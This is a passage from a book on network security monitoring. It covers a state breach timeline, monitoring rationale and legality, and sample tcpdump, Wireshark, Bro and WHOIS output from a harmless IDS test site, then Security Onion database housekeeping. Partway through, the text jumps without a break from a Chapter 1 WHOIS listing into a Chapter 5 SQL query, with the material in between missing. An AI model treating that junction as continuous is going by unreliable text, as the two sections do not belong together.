(continued) ** The State of South Carolina reportedly owes Experian at least $12 million to pay for creditmonitoring services for breach victims. “How Will SC Pay for Security Breach?” December 3, 2012 (http://www.wspa.com/story/21512285/how-will-sc-pay-for-security-breach). *** M-Trends 2013 (https://www.mandiant.com/resources/m-trends/ ).

Network Security Monitoring Rationale

7

Aug 13: Phishing email

Sept 15: More logins and recon

Aug 27: Citrix login Aug 29: Password retrieval Sept 1: Domain password retrieval; backdoor Sept 2–4: Multiple logins and reconnaissance activities

Oct 10: Law enforcement contacts SC DoR Oct 12: SC DoR hires Mandiant

Oct 21–present: No further activity

Sept 11: More logins and recon

Sept 12: Copies database backup to staging directory Sept 13–14: Compresses and moves database files, then copies to Internet

Oct 17: Intruder checks backdoor Oct 19–20: DoR performs remediation

Figure 1-2: Edited timeline of South Carolina Department of Revenue incident

What Is the Difference Between NSM and Continuous Monitoring? Continuous monitoring (CM) is a hot topic in US federal government circles. Frequently, security professionals confuse CM with NSM. They assume that if their organization practices CM, NSM is unnecessary. Unfortunately, CM has almost nothing to do with NSM, or even with trying to detect and respond to intrusions. NSM is threat-centric, meaning adversaries are the focus of the NSM operation. CM is vulnerability-centric, focusing on configuration and software weaknesses. The Department of Homeland Security (DHS) and the National Institute of Standards and Technology (NIST) are two agencies responsible for promoting CM across the federal government. They are excited by CM and see it as an improvement over certification and accreditation (C&A) activities, which involved auditing system configurations every three years or so. For CM advocates, “continuous” means checking system configurations more often, usually at least monthly, which is a vast improvement over previous approaches. The “monitoring” part means determining whether systems are compliant with controls—that is, determining how much a system deviates from the standard.

8

Chapter 1

While these are laudable goals, CM should be seen as a complement to NSM, not a substitute for or a variant of NSM. CM can help you to provide better digital defense, but it is by no means sufficient. Consider the differences in the ways that CM and NSM are implemented: • •

NOTE

A CM operation strives to find an organization’s computers, identify vulnerabilities, and patch those holes, if possible. An NSM operation is designed to detect adversaries, respond to their activities, and contain them before they can accomplish their mission.

For more on CM, visit NIST’s website (http://www.nist.gov/). You will find helpful material, such as the article “NIST Publishes Draft Implementation Guidance for Continuously Monitoring an Organization’s IT System Security,” January 24, 2012 (http://www.nist.gov/itl/csd/monitoring-012412.cfm). I have also posted several times on this topic at the TaoSecurity blog (http://taosecurity .blogspot.com/); for example, see “Control ‘Monitoring’ is Not Threat Monitoring,” November 23, 2009 (http://taosecurity.blogspot.com/2009/11/ control-monitoring-is-not-threat.html).

How Does NSM Compare with Other Approaches? If you’re reading this book, I doubt that you operate a network without applying any security measures at all. You may wonder how your firewall, intrusion prevention system (IPS), antivirus (AV) software, whitelisting, data leakage/loss protection/prevention (DLP) system, and/or digital rights management (DRM) system work to try to stop intruders. How does this sea of security acronyms save you from attackers? Each of these platforms is a blocking, filtering, or denying mechanism. Their job is, to the extent possible, recognize malicious activity and stop it from happening, albeit at different stages in the life cycle of an intrusion. Figure 1-3 shows how each approach might cooperate in the case of an intruder attempting to access and then steal sensitive information from an enterprise system. These tools have various success rates against different sorts of attackers. Each generally has some role to play in the enterprise, although many organizations deploy a subset of these technologies. Their shared goal is to control what happens in the enterprise. When configured properly, they can operate without the need for human interaction. They just work. Unlike these tools, NSM is not a blocking, filtering, or denying technology. It is a strategy backed by tactics that focus on visibility, not control. Users expect safety on the network, and they expect their security team to be aware when security controls fail. Unfortunately, failing security tools do not usually report their own weaknesses or flaws. NSM is one way to make the failure of security controls more visible.

Network Security Monitoring Rationale

9

X Firewall Access blocked at the firewall X

IPS

Access blocked at the IPS

Intruder attempts access, but blocked by AV or whitelisting

X AV or whitelisting DLP X Intruder reaches data, but denied while exfiltrating

X DRM

Intruder exfiltrates data, but denied when reading

Figure 1-3: Blocking, filtering, and denying mechanisms

Why Does NSM Work? As a system—meaning a strategy- and tactics-based operation—NSM gives us the ability to detect, respond to, and contain intruders. Yet, intruders can evade control measures that block, filter, and deny malicious activity. What makes NSM so special? To understand this paradox, start from the perspective of the defender. Network operators must achieve perfect defense in order to keep out intruders. If an intruder finds and exploits a vulnerability in a system, the enterprise has an incident on its hands. When one sheepdog, guarding hundreds of sheep, faces a pack of wolves, at least some of the sheep will not live to see another day. The adversary “wins.” Now look at things from the intruder’s perspective. Assume the adversary is not a hit-and-run offender looking for a quick strike against a weak Internet-accessible database. Rather, he wants to compromise a network, establish persistence mechanisms, and remain in the system, undetected and free to gather information at will. He is like a wolf hiding in a flock of sheep, hoping the sheepdog fails to find him, day after day, week after week, and so on. An organization that makes visibility a priority, manned by personnel able to take advantage of that visibility, can be extremely hostile to persistent adversaries. When faced with the right kind of data, tools, and skills, an adversary eventually loses. As long as the CIRT can disrupt the intruder before he accomplishes his mission, the enterprise wins.

10

Chapter 1

How NSM Is Set Up NSM starts with the network, and if you run a network, you can use NSM to defend it. While some variations of NSM involve installing software agents on computers, this book focuses on collecting and interpreting network traffic. To implement these activities, you need to understand your network architecture and make decisions about where you most need visibility. Consider a simple NSM deployment case. With the help of a network support team, the CIRT decides to implement an NSM operation to defend an organization’s Internet-connected offices. The CIRT and the network team collaborate to select a suitable location to achieve network visibility. The CIRT asks an engineer to configure a specific network switch to export copies of traffic passing through that switch (see Figure 1-4). (In the figure, DMZ refers to a network conceptually “between” the Internet and internal networks, a “demilitarized zone” where outside access to systems is permitted but tightly controlled.) The CIRT then deploys a dedicated server as an NSM platform, runs a cable from the network switch to the new NSM server, and configures software to analyze the network traffic exported by the switch. Chapter 2 explains how to choose monitoring locations, so stay tuned if you’re wondering how to apply this concept to your organization. Internet

Wireless Network

DMZ Network

CIRT and network team configure switch to export traffic to NSM platform. Internal Network

Figure 1-4: Simple network diagram and NSM platform

Network Security Monitoring Rationale

11

Installing a Tap A better way for network and security professionals to expand visibility is to install dedicated hardware for accessing network traffic, called a tap. For example, Figure 1-5 shows several Net Optics taps in my lab. The top three devices are network taps, but only the hardware at top left is passing traffic. The other two taps are inactive. The devices below the taps are Cisco switches.

Figure 1-5: Network taps and switches

Net Optics (http://www.netoptics.com/) and other companies offer a wide variety of taps and related products to meet the needs of many types of organizations.

When NSM Won’t Work Regardless of how much hardware you throw at a network, if you can’t observe the traffic that you care about, NSM will not work well. For example, most organizations do not conduct NSM on enterprise wireless traffic (such as 802.11 wireless local area networks, or WLANs) because the traffic from wireless node to wireless node should be encrypted, rendering NSM less effective. This means that laptops, tablets, and other devices connected via Wi-Fi are not subject to NSM when they talk directly to each other. CIRTs will observe network traffic leaving the wireless segment for a wired segment. For example, when a tablet user visits a web page using a Wi-Fi connection, the NSM operation will see the activity. Node-to-node activity, though, is largely unobserved at the network level.

12

Chapter 1

Similarly, CIRTs generally do not conduct NSM on cellular traffic because observing cell phone activity is outside the technical and legal mandate for most organizations. As with wireless systems, however, CIRTs will observe smartphones and cellular-capable tablets when they associate with a WLAN. In cloud or hosted environments, NSM faces unique challenges because the service provider owns the infrastructure. While the service provider may deploy software and hardware for NSM, it usually keeps the collected data to itself. The situation is the same with ISPs and telecommunications providers.

Is NSM Legal? There is no easy answer to the question of NSM’s legality, and you should check with a lawyer. No matter what, do not begin any NSM operation without obtaining qualified legal advice. In the United States, network and security teams are subject to federal and state law, such as the so-called “Wiretap Act,” U.S. Code 18 § 2511. This includes one key provision that indicates permission for network monitoring which appears in 2511 (2)(a)(i): It shall not be unlawful under this chapter for an operator of a switchboard, or an officer, employee, or agent of a provider of wire or electronic communication service, whose facilities are used in the transmission of a wire or electronic communication, to intercept, disclose, or use that communication in the normal course of his employment while engaged in any activity which is a necessary incident to the rendition of his service or to the protection of the rights or property of the provider of that service, except that a provider of wire communication service to the public shall not utilize service observing or random monitoring except for mechanical or service quality control checks.3

Other exceptions that seem to permit monitoring involve being a party to the conversation, or obtaining consent. They appear in 2511 (2)(d): It shall not be unlawful under this chapter for a person not acting under color of law to intercept a wire, oral, or electronic communication where such person is a party to the communication or where one of the parties to the communication has given prior consent to such interception unless such communication is intercepted for the purpose of committing any criminal or tortious act in violation of the Constitution or laws of the United States or of any State.4

3. 18 USC § 2511 - Interception and disclosure of wire, oral, or electronic communications prohibited, 2511 (2)(a)(i) (http://www.law.cornell.edu/uscode/text/18/2511#2_a_i/). 4. 18 USC § 2511 - Interception and disclosure of wire, oral, or electronic communications prohibited, 2511 (2)(d) (http://www.law.cornell.edu/uscode/text/18/2511#2_d/). Network Security Monitoring Rationale

13

The “party” and “consent” exceptions are more difficult to justify than one might expect, but they are stronger than the “necessary incident” exception. As an example of state statutes, consider the Code of Virginia. Title 19.2, Criminal Procedure, contains Chapter 6, Interception of Wire, Electronic or Oral Communications. Section 19.2-62 in this chapter uses language that is very similar to the federal statute, which seems to allow monitoring: It shall not be a criminal offense under this chapter for any person . . . (f) Who is a provider of electronic communication service to record the fact that a wire or electronic communication was initiated or completed in order to protect such provider, another provider furnishing service toward the completion of the wire or electronic communication, or a user of that service, from fraudulent, unlawful or abusive use of such service. 5 NOTE

If these laws seem onerous, the situation in the European Union (EU) tends to be “worse” from an NSM perspective. While it is important and proper to protect the rights of network users, laws in the EU seem to place a high burden on security teams. In my experience, CIRTs can deploy NSM operations in the EU, but lengthy and complicated discussions with works councils and privacy teams are required. Add a 6- to 12-month delay to any rollout plans in privacy-heightened areas.

How Can You Protect User Privacy During NSM Operations? Given the need to protect user privacy, it is important to manage NSM operations so that they focus on the adversary and not on authorized user activity. For this reason, you should separate the work of CIRTs from forensic professionals: • •

CIRTs should perform analysis, watch malicious activity, and protect authorized users and the organization. Forensic professionals should perform investigations, watch fraud, and monitor abuse by authorized users, to protect the organization.

In other words, CIRTs should focus on external threats, and forensic teams should focus on internal ones. Certainly, the work of one may overlap with the other, but the key to maintaining separation is noticing when one team’s work strays into the realm of the other team. Once the two have been clearly separated, users will be more likely to trust that the CIRT has their best interests at heart. (Chapter 9 expands on the operational concerns of NSM as they relate to privacy and user rights.)

5. Title 19.2, Code of Virginia § 19.2-62(http://leg1.state.va.us/cgi-bin/legp504.exe?000+cod+19.2-62).

14

Chapter 1

A Sample NSM Test Now that you know what NSM is, let’s take a look at an example of activity that creates a network footprint, and then introduce how a few NSM tools see that event. Chapters 6, 7, and 8 provide details about these tools and data. The goal here is to give you a general sense of what NSM data looks like. I want you to understand how NSM and its datatypes are different from other security approaches and resources, such as firewalls, antivirus software, and application logging. The rest of the book will explain how to collect, analyze, and act on NSM data, so for now seek only to gain initial familiarity with the NSM approach. In this example, we use the Firefox web browser to visit http://www .testmyids.com/, which IT professionals use to test some types of security equipment. As you can see in Figure 1-6, the page returns what looks like the output of a Unix user ID (id) command run by an account with user ID (UID) 0, such as a root user. This is not a real id command, but just a webmaster’s simulation. Many tools aren’t configured to tell the difference between a real security issue and a test, so visiting this website is a convenient way to catch their attention.

Figure 1-6: Visiting http://www.testmyids.com/ with Firefox

The main local evidence of a visit to the http://www.testmyids.com/ website would probably be the user’s web browser history. But on the network, the Firefox web browser and the http://www.testmyids.com/ web server together generate three sets of data relevant to the NSM approach: 1. 2. 3.

The browser generates a Domain Name System (DNS) request for http://www.testmyids.com/, and receives a reply from a DNS server. The browser requests the web page, and the web server replies. Finally, the web browser requests a Favorite icon from the web server, and the web server replies.

Network Security Monitoring Rationale

15

NOTE

Other traffic, such as lower-level Address Resolution Protocol (ARP) requests and replies may also occur, but they are not germane to this discussion. The exact mechanics of this activity are not important for this example. What is important is recognizing that all activity on a network creates traffic. NSM operators can capture this network traffic using any number of tools, and then can examine the captured data.

The Range of NSM Data This section introduces multiple ways to analyze and view NSM data. Later chapters discuss the tools used to collect and analyze this data. NSM data may include the following: • • • • • • •

Full content Extracted content Session data Transaction data Statistical data Metadata Alert data

Full Content Data For our purposes, when we collect full content data, we’re collecting all information that passes across a network. We aren’t filtering the data to collect only information associated with security alerts. We’re not saving application logs. We’re making exact copies of the traffic as seen on the wire. When security analysts work with full content data, they generally review it in two stages. They begin by looking at a summary of that data, represented by “headers” on the traffic. Then they inspect some individual packets. Reviewing a Data Summary Listing 1-1 shows an example of data collected by running the tool Tcpdump while the Firefox web browser visited http://www.testmyids.com/. The IP address of the computer running the web browser is 192.168.238.152, and the IP address of the web server hosting http://www.testmyids.com/ is 217.160.51.31. The IP address of the DNS server is 192.168.238.2. 19:09:47.398547 IP 192.168.238.152.52518 > 192.168.238.2.53: 3708+ A? www.testmyids.com. (35) 19:09:47.469306 IP 192.168.238.2.53 > 192.168.238.152.52518: 3708 1/0/0 A 217.160.51.31 (51)

16

Chapter 1

19:09:47.469646 IP 192.168.238.152.41482 > 217.160.51.31.80: Flags [S], seq 953674548, win 42340, options [mss 1460,sackOK,TS val 75892 ecr 0,nop,wscale 11], length 0 19:09:47.594058 IP 217.160.51.31.80 > 192.168.238.152.41482: Flags [S.], seq 272838780, ack 953674549, win 64240, options [mss 1460], length 0 19:09:47.594181 IP 192.168.238.152.41482 > 217.160.51.31.80: Flags [.], ack 1, win 42340, length 0 19:09:47.594427 IP 192.168.238.152.41482 > 217.160.51.31.80: Flags [P.], seq 1:296, ack 1, win 42340, length 295 19:09:47.594932 IP 217.160.51.31.80 > 192.168.238.152.41482: Flags [.], ack 296, win 64240, length 0 19:09:47.714886 IP 217.160.51.31.80 > 192.168.238.152.41482: Flags [P.], seq 1:316, ack 296, win 64240, length 315 19:09:47.715003 IP 192.168.238.152.41482 > 217.160.51.31.80: Flags [.], ack 316, win 42025, length 0 -- snip -19:09:50.018064 IP 217.160.51.31.80 > 192.168.238.152.41482: Flags [FP.], seq 1958, ack 878, win 64240, length 0 19:09:50.018299 IP 192.168.238.152.41482 > 217.160.51.31.80: Flags [F.], seq 878, ack 1959, win 42025, length 0 19:09:50.018448 IP 217.160.51.31.80 > 192.168.238.152.41482: Flags [.], ack 879, win 64239, length 0 Listing 1-1: Tcpdump output showing headers

The output in Listing 1-1 shows only packet headers, not the content of the packets themselves. Inspecting Packets After looking at a summary of the full content data, security analysts select one or more packets for deeper inspection. Listing 1-2 shows the same headers as seen in the sixth packet shown in Listing 1-1 (timestamp 19:09:47.594427), but with the layer 2 headers listed first. Layer 2 headers are just another aspect of the packet we can see. They involve the hardwarelevel addresses, or Media Access Control (MAC) addresses used by computers to exchange data. Furthermore, the headers are now followed by payloads, with a hexadecimal representation on the left and an ASCII representation on the right.

Network Security Monitoring Rationale

17

19:09:47.594427 00:0c:29:fc:b0:3b > 00:50:56:fe:08:d6, ethertype IPv4 (0x0800), length 349: 192.168.238.152.41482 > 217.160.51.31.80: Flags [P.], seq 1:296, ack 1, win 42340, length 295 0x0000: 0050 56fe 08d6 000c 29fc b03b 0800 4500 .PV.....)..;..E. 0x0010: 014f c342 4000 4006 ba65 c0a8 ee98 d9a0 .O.B@[email protected]...... 0x0020: 331f a20a 0050 38d7 eb35 1043 307d 5018 3....P8..5.C0}P. 0x0030: a564 180c 0000 4745 5420 2f20 4854 5450 .d....GET./.HTTP 0x0040: 2f31 2e31 0d0a 486f 7374 3a20 7777 772e /1.1..Host:.www. 0x0050: 7465 7374 6d79 6964 732e 636f 6d0d 0a55 testmyids.com..U 0x0060: 7365 722d 4167 656e 743a 204d 6f7a 696c ser-Agent:.Mozil 0x0070: 6c61 2f35 2e30 2028 5831 313b 2055 6275 la/5.0.(X11;.Ubu 0x0080: 6e74 753b 204c 696e 7578 2078 3836 5f36 ntu;.Linux.x86_6 0x0090: 343b 2072 763a 3138 2e30 2920 4765 636b 4;.rv:18.0).Geck 0x00a0: 6f2f 3230 3130 3031 3031 2046 6972 6566 o/20100101.Firef 0x00b0: 6f78 2f31 382e 300d 0a41 6363 6570 743a ox/18.0..Accept: 0x00c0: 2074 6578 742f 6874 6d6c 2c61 7070 6c69 .text/html,appli 0x00d0: 6361 7469 6f6e 2f78 6874 6d6c 2b78 6d6c cation/xhtml+xml 0x00e0: 2c61 7070 6c69 6361 7469 6f6e 2f78 6d6c ,application/xml 0x00f0: 3b71 3d30 2e39 2c2a 2f2a 3b71 3d30 2e38 ;q=0.9,*/*;q=0.8 0x0100: 0d0a 4163 6365 7074 2d4c 616e 6775 6167 ..Accept-Languag 0x0110: 653a 2065 6e2d 5553 2c65 6e3b 713d 302e e:.en-US,en;q=0. 0x0120: 350d 0a41 6363 6570 742d 456e 636f 6469 5..Accept-Encodi 0x0130: 6e67 3a20 677a 6970 2c20 6465 666c 6174 ng:.gzip,.deflat 0x0140: 650d 0a43 6f6e 6e65 6374 696f 6e3a 206b e..Connection:.k 0x0150: 6565 702d 616c 6976 650d 0a0d 0a eep-alive.... Listing 1-2: Tcpdump output showing content

Notice how this listing includes much more information than the headers in Listing 1-1. Not only do you see full header information (MAC addresses, IP addresses, IP protocol, and so on), but you also see the higherlevel content sent by the web browser. You can read the GET request, the user agent, some HyperText Transfer Protocol (HTTP) headers (Accept, Accept-Language, Accept-Encoding, and so on). Although it appears a bit unwieldy in this format, the granularity is undeniable. Using a Graphical Tool to View the Traffic We can look at this same full content traffic with a graphical tool like Wireshark (http://www.wireshark.org/), as shown in Figure 1-7. Wireshark is an open source protocol analysis suite with a rich set of features and capabilities. In Figure 1-7, I’ve highlighted the packet showing a GET request, corresponding to the same packet depicted in Listing 1-2. Clearly, if you have access to full content data, there are few limits to the sorts of analysis you can conduct. In fact, if you have all the traffic passing on the wire, you can extract all sorts of useful information. The next section shows how to assemble packets to capture interactions between computers, including messages and files transferred.

18

Chapter 1

Figure 1-7: Wireshark’s rendition of web browsing traffic

Extracted Content Data Extracted content refers to high-level data streams—such as files, images, and media—transferred between computers. Unlike with full content data, which includes headers from lower levels of the communication process, with extracted content, we don’t worry about MAC addresses, IP addresses, IP protocols, and so on. Instead, if two computers exchange a file, we review the file. If a web server transfers a web page to a browser, we review the web page. And, if an intruder transmits a piece of malware or a worm, we review the malware or worm. Wireshark can depict this content as a stream of data, as shown in Figure 1-8. The GET message shows content sent from the web browser to the web server. The HTTP/1.1 message shows content sent from the web server back to the web browser. (I’ve truncated the conversation to save space.) Then the web client makes a request (GET /favicon.ico), followed by another reply from the web server (HTTP/1.1 404 Not Found).

Network Security Monitoring Rationale

19

Figure 1-8: Wireshark’s rendition of extracted content

When you visit a website, the actions that produce the messages shown in Figure 1-8 are happening behind the scenes to get you the content you want. Security teams can analyze this data for suspicious or malicious content. For example, intruders may have injected links to malicious websites into websites trusted by your users. NSM professionals can find these evil links and then learn if a user suffered a compromise of his computer. In addition to viewing web browsing activity as text logs or data streams, it can be helpful to see reconstructions of a web browsing session. As you can see in Figure 1-9, the open source tool Xplico (http://www.xplico.org/) can rebuild a web page whose content was captured in network form. Figure 1-9 shows an Xplico case where the analyst chooses to rebuild the http://www.testmyids.com/ website. With a tool like Xplico, you don’t need to look at possibly cryptic messages exchanged by web servers and web browsers. Xplico and other network forensic tools can try to render the website as seen by the user. For the past several years, NSM practitioners have extracted content from network traffic in order to provide data to other analytical tools and processes. For example, NSM tools can extract executable binaries from network streams. Analysts can save and submit these artifacts to antivirus engines for subsequent analysis. They can also reverse engineer the samples or “detonate” them in a safe environment for deeper examination. Now we will continue with a new form of NSM data: session data. 20

Chapter 1

Figure 1-9: Xplico’s rendition of the http://www.testmyids.com/ website

Session Data Session data is a record of the conversation between two network nodes. An NSM tool like Bro (http://www.bro.org/) can generate many types of logs based on its inspection of network traffic. Listing 1-3 shows an excerpt from the Bro conn.log that corresponds to the web browsing activity discussed in “Full Content Data” on page 16. #fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p proto service duration orig_bytes resp_bytes conn_state local_orig missed_bytes history orig_pkts orig_ip_bytes resp_pkts resp_ip_bytes tunnel_parents orig_cc resp_cc #types time enum string string count

interval count

string count

addr count count

port addr port string bool count count table[string] string string

2013-01-16T19:09:47+0000u 90E6goBBSw3 192.168.238.152v 41482w 217.160.51.31x 80y tcpz http 2.548653 877{ 1957| SF T ShADadfF 9 1257 9 2321 (empty) 2013-01-16T19:09:47+0000 49vu9nUQyJf 192.168.238.152 52518 192.168.238.2 53 udp dns 0.070759 35 51 SF T Dd 1 63 1 79 (empty) -

0 DE

0 -

Listing 1-3: Sample session data from the Bro connection log (conn.log)

Session data collapses much of the detail into core elements, including the timestamp u, source IP address v, source port w, destination IP address x, destination port y, protocol z, application bytes sent by the source {, Network Security Monitoring Rationale

21

application bytes sent by the destination |, and other information. One could generate session data from full content data, but if hard drive space is at a premium, then logging only session data might be a good option. The open source session data tool Argus (http://www.qosient.com/argus/) can also generate records for this traffic, as shown in Listing 1-4. StartTime TotPkts

Flgs Proto TotBytes State

SrcAddr

Sport

Dir

DstAddr

Dport

19:09:47.398547 e 2 170

udp CON

192.168.238.152.52518

192.168.238.2.53

19:09:47.469646 e 18 3892

tcp FIN

192.168.238.152.41482

->

217.160.51.31.80

Listing 1-4: Sample session data from Argus

The open source tool Sguil (http://www.sguil.net/) can also be used to view session data. Sguil traditionally used the SANCP tool (http://nsmwiki .org/SANCP) to collect session data and render it as shown in Figure 1-10.

Figure 1-10: Sguil’s rendition of session data collected by SANCP

Session data tends to focus on the call details of network activity. This information includes who spoke, when, and how, and the amount of information each party exchanged. The nature of those exchanges is not usually stored in session data. For that, we turn to transaction data. NOTE

Listings 1-3 and 1-4 and Figure 1-10 each show slightly different output. We’ll examine why later in the book.

Transaction Data Transaction data is similar to session data, except that it focuses on understanding the requests and replies exchanged between two network devices. We’ll use Bro to explore an example of transaction data. As you can see in Listing 1-5, reviewing Bro’s http.log shows the request and reply between a web browser and web server. 2013-01-16T19:09:47+0000 90E6goBBSw3 192.168.238.152 41482 217.160.51.31 80 1 GETu www.testmyids.com / Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 0 39 200x OK (empty) text/plain -

22

Chapter 1

2013-01-16T19:09:47+0000 90E6goBBSw3 192.168.238.152 41482 217.160.51.31 80 2 GETv www.testmyids.com /favicon.ico Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 0 640 404y Not Found (empty) text/html 2013-01-16T19:09:47+0000 90E6goBBSw3 192.168.238.152 41482 217.160.51.31 80 3 GETw www.testmyids.com /favicon.ico Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 0 640 404y Not Found (empty) text/html Listing 1-5: Sample transaction data from a Bro HTTP log (http.log)

These records show the web browser’s GET request for the web root / u, followed by one request for a favicon.ico file v, and a second request for a favicon.ico file w. The web browser responded with a 200 OK for the web root GET request x and two 404 Not Found responses for the favicon.ico file y. This is just the sort of information a security analyst needs in order to understand the communication between the web browser and the web server. It’s not as detailed as the full content data, but not as abstract as the session data. Think of it this way: If full content data records every aspect of a phone call, and session data tells you only who spoke and for how long, then transaction data is a middle ground that gives you the gist of the conversation. Let’s briefly look at transaction data for a different aspect of the sample web browsing activity: DNS requests and replies, as shown in Listing 1-6. Again, we don’t need all the granularity of the full content data, but the session data would just show that an exchange took place between the two computers. Transaction data gives you a middle ground with some detail, but not an excessive amount. 2013-01-16T19:09:47+0000 49vu9nUQyJf 192.168.238.152 52518 192.168.238.2 53 udp 3708 www.testmyids.com 1 C_ INTERNET 1 A 0 NOERROR F F T T 0 217.160.51.31 5.000000 Listing 1-6: Sample transaction data from a Bro DNS log (dns.log)

Bro and other NSM tools can render various forms of transaction data, as long as the software understands the protocol being inspected. You may get the sense that transaction data is the “perfect” form of NSM data; it’s not too hot and not too cold. However, each datatype has its uses. I will show why this is true when we look at tools in detail in Chapters 6, 7, and 8, and at case studies in Chapters 10 and 11.

Network Security Monitoring Rationale

23

Statistical Data Statistical data describes the traffic resulting from various aspects of an activity. For example, running the open source tool Capinfos (packaged with Wireshark) against a file containing stored network traffic gives the results shown in Listing 1-7. The example shows key aspects of the stored network traffic, such as the number of bytes in the trace (file size), the amount of actual network data (data size), start and end times, and so on. File name: File type: File encapsulation: Packet size limit: Number of packets: File size: Data size: Capture duration: Start time: End time: Data byte rate: Data bit rate: Average packet size: Average packet rate: SHA1: RIPEMD160: MD5: Strict time order:

cap1edit.pcap Wireshark/tcpdump/... - libpcap Ethernet file hdr: 65535 bytes 20 4406 bytes 4062 bytes 3 seconds Wed Jan 16 19:09:47 2013 Wed Jan 16 19:09:50 2013 1550.44 bytes/sec 12403.52 bits/sec 203.10 bytes 7.63 packets/sec e053c72f72fd9801d9893c8a266e9bb0bdd1824b 8d55bec02ce3fcb277a27052727d15afba6822cd 7b3ba0ee76b7d3843b14693ccb737105 True

Listing 1-7: Statistical data from Capinfos

This is one example of statistical data, but many other versions can be derived from network traffic. Wireshark provides several ways to view various forms of statistical data. The first is a simple description of the saved traffic, as shown in Figure 1-11. This figure shows information similar to that found in the Capinfos example in Listing 1-7, except that it’s generated within Wireshark. Wireshark also provides protocol distribution statistics. Figure 1-12 shows traffic broken down by type and percentages. In Figure 1-12, you can see that the trace consists of all IP version 4 (IPv4) traffic. Within that protocol, most of the activity is Transmission Control Protocol (TCP), at 90 percent. The remaining 10 percent is User Datagram Protocol (UDP). Within the TCP traffic, all is HTTP, and within the UDP traffic, all is DNS. Analysts use these sorts of breakdowns to identify anomalies that could indicate intruder activity.

24

Chapter 1

Figure 1-11: Basic Wireshark statistical data

Figure 1-12: Wireshark protocol distribution statistics

Network Security Monitoring Rationale

25

Another form of statistical data generated by Wireshark is packet length statistics, as shown in Figure 1-13. Figure 1-13 shows that the majority of the traffic has packet lengths of 40 to 79 bytes. In some organizations, this could indicate suspicious or malicious activity. For example, an attacker conducting a distributed denial-of-service (DDoS) attack might generate millions of smaller packets to bombard a target. That is not the case here; the packets are mainly 40 to 79 bytes, or 320 to 1279 bytes. Metadata, discussed next, is related to statistical data, and is just as valuable.

Figure 1-13: Wireshark packet length statistics

Metadata Metadata is “data about data.” In order to generate metadata, we extract key elements from network activity, and then leverage some external tool to understand it. For example, we have seen many IP addresses in the traffic thus far. Who owns them? Does their presence indicate a problem for us? To answer those questions, we could inspect the domains and IP addresses for the traffic and retrieve metadata, beginning with a query of the WHOIS database for IP information, as shown in Listing 1-8. % % % % %

This is the RIPE Database query service. The objects are in RPSL format. The RIPE Database is subject to Terms and Conditions. See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered. % To receive output for a database update, use the "-B" flag. % Information related to '217.160.48.0 - 217.160.63.255' inetnum: netname: descr: descr: country: admin-c: tech-c: remarks: status: mnt-by: source: -- snip --

26

Chapter 1

217.160.48.0 - 217.160.63.255 SCHLUND-CUSTOMERS 1&1 Internet AG NCC#1999110113 DE IPAD-RIPE IPOP-RIPE in case of abuse or spam, please mailto: [email protected] ASSIGNED PA AS8560-MNT RIPE # Filtered

% Information related to '217.160.0.0/16AS8560' route: descr: origin: mnt-by: source:

217.160.0.0/16 SCHLUND-PA-3 AS8560 AS8560-MNT RIPE # Filtered

% This query was served by the RIPE Database Query Service version 1.50.5 (WHOIS1) Listing 1-8: WHOIS output for IP address

Next, query WHOIS for domain information, as shown in Listing 1-9. Domain Name: TESTMYIDS.COM Registrar: TUCOWS DOMAINS INC. Whois Server: whois.tucows.com Referral URL: http://domainhelp.opensrs.net Name Server: NS59.1AND1.CO.UK Name Server: NS60.1AND1.CO.UK Status: ok Updated Date: 11-aug-2012 Creation Date: 15-aug-2006 Expiration Date: 15-aug-2014 >>> Last update of whois database: Wed, 16 Jan 2013 21:53:46 UTC SUBSTR(' KMGTP',pw+1,1),'B') "Data Size",CONCAT(LPAD( -> FORMAT(SXSize/POWER(1024,pw),3),17,' '),' ',SUBSTR(' KMGTP',pw+1,1),'B') "Index Size", -> CONCAT(LPAD(FORMAT(STSize/POWER(1024,pw),3),17,' '),' ', -> SUBSTR(' KMGTP',pw+1,1),'B') "Total Size" FROM -> (SELECT IFNULL(DB,'All Databases') DBName,SUM(DSize) SDSize,SUM(XSize) SXSize, -> SUM(TSize) STSize FROM (SELECT table_schema DB,data_length DSize, -> index_length XSize,data_length+index_length TSize FROM information_schema.tables -> WHERE table_schema NOT IN ('mysql','information_schema','performance_schema')) AAA -> GROUP BY DB WITH ROLLUP) AA,(SELECT 3 pw) BB ORDER BY (SDSize+SXSize); +------------------+----------------------+----------------------+----------------------+ | DBName | Data Size | Index Size | Total Size | +------------------+----------------------+----------------------+----------------------+ | elsa_web | 0.000 GB | 0.000 GB | 0.000 GB | | syslog | 0.014 GB | 0.007 GB | 0.021 GB | | snorby | 0.059 GB | 0.020 GB | 0.079 GB | | syslog_data | 1.625 GB | 0.050 GB | 1.675 GB | | securityonion_db | 3.384 GB | 0.377 GB | 3.761 GB | | All Databases | 5.082 GB | 0.454 GB | 5.536 GB | +------------------+----------------------+----------------------+----------------------+ 6 rows in set (2.20 sec) Listing 5-4: Displaying storage used by database tables

In this example, the databases in use occupy a total of 5.536GB. The securityonion_db database used by Sguil and its components occupies 3.761GB, and the syslog_data database used by ELSA occupies 1.675GB. SO Platform Housekeeping

107

Managing the Sguil Database SO also ships with a sguil-db-purge script to manage the Sguil database securityonion_db. The configuration file /etc/nsm/securityonion.conf contains a DAYSTOKEEP variable, as shown in Listing 5-5. ENGINE=snort DAYSTOKEEP=365 ELSA=YES Listing 5-5: DAYSTOKEEP variable in /etc/nsm/securityonion.conf

When SO runs sguil-db-purge, it removes data older than the default 365 days from the securityonion_db database. You can edit the DAYSTOKEEP variable if you begin to run out of hard drive space. To manage the syslog_data database, ELSA offers a configuration variable that controls how much disk space it will use. The file /etc/elsa_node.conf contains the entry shown in Listing 5-6. # Size limit for logs + index size. "log_size_limit" : 200000000000,

Set this to be 90-95% of your total data disk space.

Listing 5-6: Size limit entry in /etc/elsa_node.conf

The log_size_limit variable is set according to a number of bytes, so the default translates to roughly 187GB. Raise or lower this value to manage ELSA database storage as necessary.

